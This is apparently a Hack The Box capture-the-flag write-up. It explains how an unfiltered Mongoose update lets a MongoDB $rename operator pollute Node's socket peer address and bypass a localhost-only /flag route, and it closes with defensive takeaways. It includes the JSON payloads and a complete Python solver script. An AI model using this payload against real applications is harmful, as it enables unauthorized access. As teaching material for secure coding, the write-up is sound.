Hack The Box - Secure Notes
Abusing an unfiltered Mongoose update to inject a MongoDB $rename operator, pollute Node's socket peer address, and bypass a localhost-only flag route.
Challenge Description
Secure Notes is a small Node.js note-taking application. The application lets users create notes, view them, and update their title and content through a simple web interface.
From the source code, the backend is built with Express and uses MongoDB through Mongoose. At first glance, the application looks straightforward: there is a route to create notes, another one to update them, and a protected /flag route that only responds when the request appears to come from localhost.
The interesting part is how the application handles note updates. The update route passes user-controlled JSON directly into a Mongoose update call, which allows us to inject MongoDB update operators.
TL;DR
/flagonly returns the flag whenreq.connection.remoteAddressis localhost./createlets us create a note with attacker-controlledtitleandcontent./updatepasses the full request body directly intoNote.findByIdAndUpdate().- Since update operators are not filtered, we can inject a raw MongoDB
$renameoperator. $renamemoves thetitlevalue into__proto__._peername.address, causing prototype pollution.- After the pollution,
/flagreads the forged peer address and returns the flag.
Initial Analysis
The backend is very small. It connects to MongoDB, defines a Note model, serves static files, and exposes a few routes:
1
2
3
4
app.get('/flag', ...);
app.post('/create', ...);
app.get('/get/:noteId', ...);
app.post('/update', ...);
The note schema only contains two fields:
1
2
3
4
const Note = mongoose.model('Note', new mongoose.Schema({
title: String,
content: String,
}));
The /flag route immediately looks interesting because it uses the request socket address as an authorization check. If the request comes from localhost, the route returns the flag. Otherwise, it returns 403.
There is no obvious SSRF feature in the application, so the question becomes:
Can we somehow influence what Node thinks the client address is?
Reading the Source
The /flag route checks req.connection.remoteAddress:
1
2
3
4
5
6
7
8
app.get('/flag', (req, res) => {
const remoteAddress = req.connection.remoteAddress;
if (remoteAddress === '127.0.0.1' || remoteAddress === '::1' || remoteAddress === '::ffff:127.0.0.1') {
res.send(process.env.FLAG ?? 'HTB{redacted}');
} else {
res.status(403).json({ Message: 'Access denied' });
}
});
The /create route validates that both title and content are strings before saving the note:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.post('/create', async (req, res) => {
const { title, content } = req.body;
if (typeof title !== 'string' || typeof content !== 'string') {
res.status(400).json({ Message: 'Invalid title or content' });
return;
}
const note = new Note({
title,
content,
});
await note.save();
res.json(note);
});
So far, nothing too suspicious.
The vulnerable route is /update:
1
2
3
4
5
6
7
8
9
10
11
app.post('/update', async (req, res) => {
try {
const { noteId } = req.body;
await Note.findByIdAndUpdate(noteId, req.body);
let result = await Note.find({ _id: noteId });
res.json(result);
} catch (error) {
console.error(error);
res.status(500).json({ Message: "An error occurred" });
}
});
The intended request body probably looks like this:
1
2
3
4
5
{
"noteId": "...",
"title": "new title",
"content": "new content"
}
However, the application never restricts the update body to only title and content. Whatever JSON we send is passed directly to findByIdAndUpdate().
Vulnerability Analysis
The bug is caused by passing the entire request body directly into a MongoDB update operation.
MongoDB update objects are not always plain data. They can also contain update operators such as $set, $unset, and $rename.
The vulnerable data flow looks like this:
1
2
3
4
5
HTTP JSON body
-> express.json()
-> req.body
-> Note.findByIdAndUpdate(noteId, req.body)
-> MongoDB/Mongoose update operation
Because the user controls the update object, we can inject the $rename operator:
1
2
3
4
5
6
{
"noteId": "...",
"$rename": {
"title": "__proto__._peername.address"
}
}
Before sending that update, we create a note with this title:
1
127.0.0.1
Then the $rename operation moves the title value into this path:
1
__proto__._peername.address = "127.0.0.1"
This pollutes the prototype path used by the socket peer-name information. After that, when /flag checks req.connection.remoteAddress, it resolves to the polluted localhost value.
So the bypass is not about actually making a request from localhost. Instead, we corrupt the object state that the localhost check depends on.
Failed Attempts
The first obvious test is requesting /flag directly:
1
GET /flag
This fails with 403, because our real remote address is not localhost.
A normal note update also does not help:
1
2
3
4
5
{
"noteId": "...",
"title": "127.0.0.1",
"content": "pwned"
}
This only changes the stored note fields. It does not affect the socket address used by the /flag route.
The important realization is that /update is not limited to normal fields. Since raw MongoDB operators are allowed, we can use the update route to write into dangerous object paths.
Exploitation
The exploit only needs three steps.
First, create a note whose title contains the address we want the server to see:
1
2
3
4
{
"title": "127.0.0.1",
"content": "pwned"
}
The server returns the created note, including its _id.
Next, send a malicious update using $rename:
1
2
3
4
5
6
{
"noteId": "<note id>",
"$rename": {
"title": "__proto__._peername.address"
}
}
This renames the title field into a prototype pollution path.
Finally, request the protected route:
1
GET /flag
After the pollution step, the localhost check succeeds and the application returns the flag.
Exploit Flow Summary
1
2
3
4
5
6
create note with title = 127.0.0.1
-> send unfiltered $rename through /update
-> rename title into __proto__._peername.address
-> req.connection.remoteAddress resolves to the polluted value
-> /flag localhost check passes
-> flag is returned
Solver
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
import sys
import requests
def main():
target = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://127.0.0.1:1337"
session = requests.Session()
note = session.post(f"{target}/create", json={
"title": "127.0.0.1",
"content": "pwned"
})
note.raise_for_status()
note_id = note.json()["_id"]
pollution = session.post(f"{target}/update", json={
"noteId": note_id,
"$rename": {
"title": "__proto__._peername.address"
}
})
pollution.raise_for_status()
flag = session.get(f"{target}/flag")
flag.raise_for_status()
print(flag.text)
if __name__ == "__main__":
main()
Run it like this:
1
python3 solve.py http://127.0.0.1:1337
For the remote instance, replace the URL with the provided Hack The Box host and port.
Flag
1
HTB{redacted}
Why This Bug Matters
This challenge is a good example of why user-controlled JSON should not be passed directly into database update APIs.
In MongoDB, an update object can contain operators, not only normal fields. If the application does not explicitly allowlist the fields that can be updated, user input can become database logic.
The localhost check is also fragile. Authorization based only on remoteAddress assumes that the runtime state is trustworthy. Once prototype pollution is possible, even internal-looking properties can become attacker-controlled.
Takeaways
- Never pass an entire request body directly into a MongoDB update call.
- Allowlist updateable fields such as
titleandcontent. - Reject keys starting with
$in user-controlled objects unless explicitly required. - Treat paths containing
__proto__,constructor, orprototypeas dangerous. - Do not use localhost-only checks as a replacement for real authorization.
- Prototype pollution can turn a small update bug into control over runtime behavior.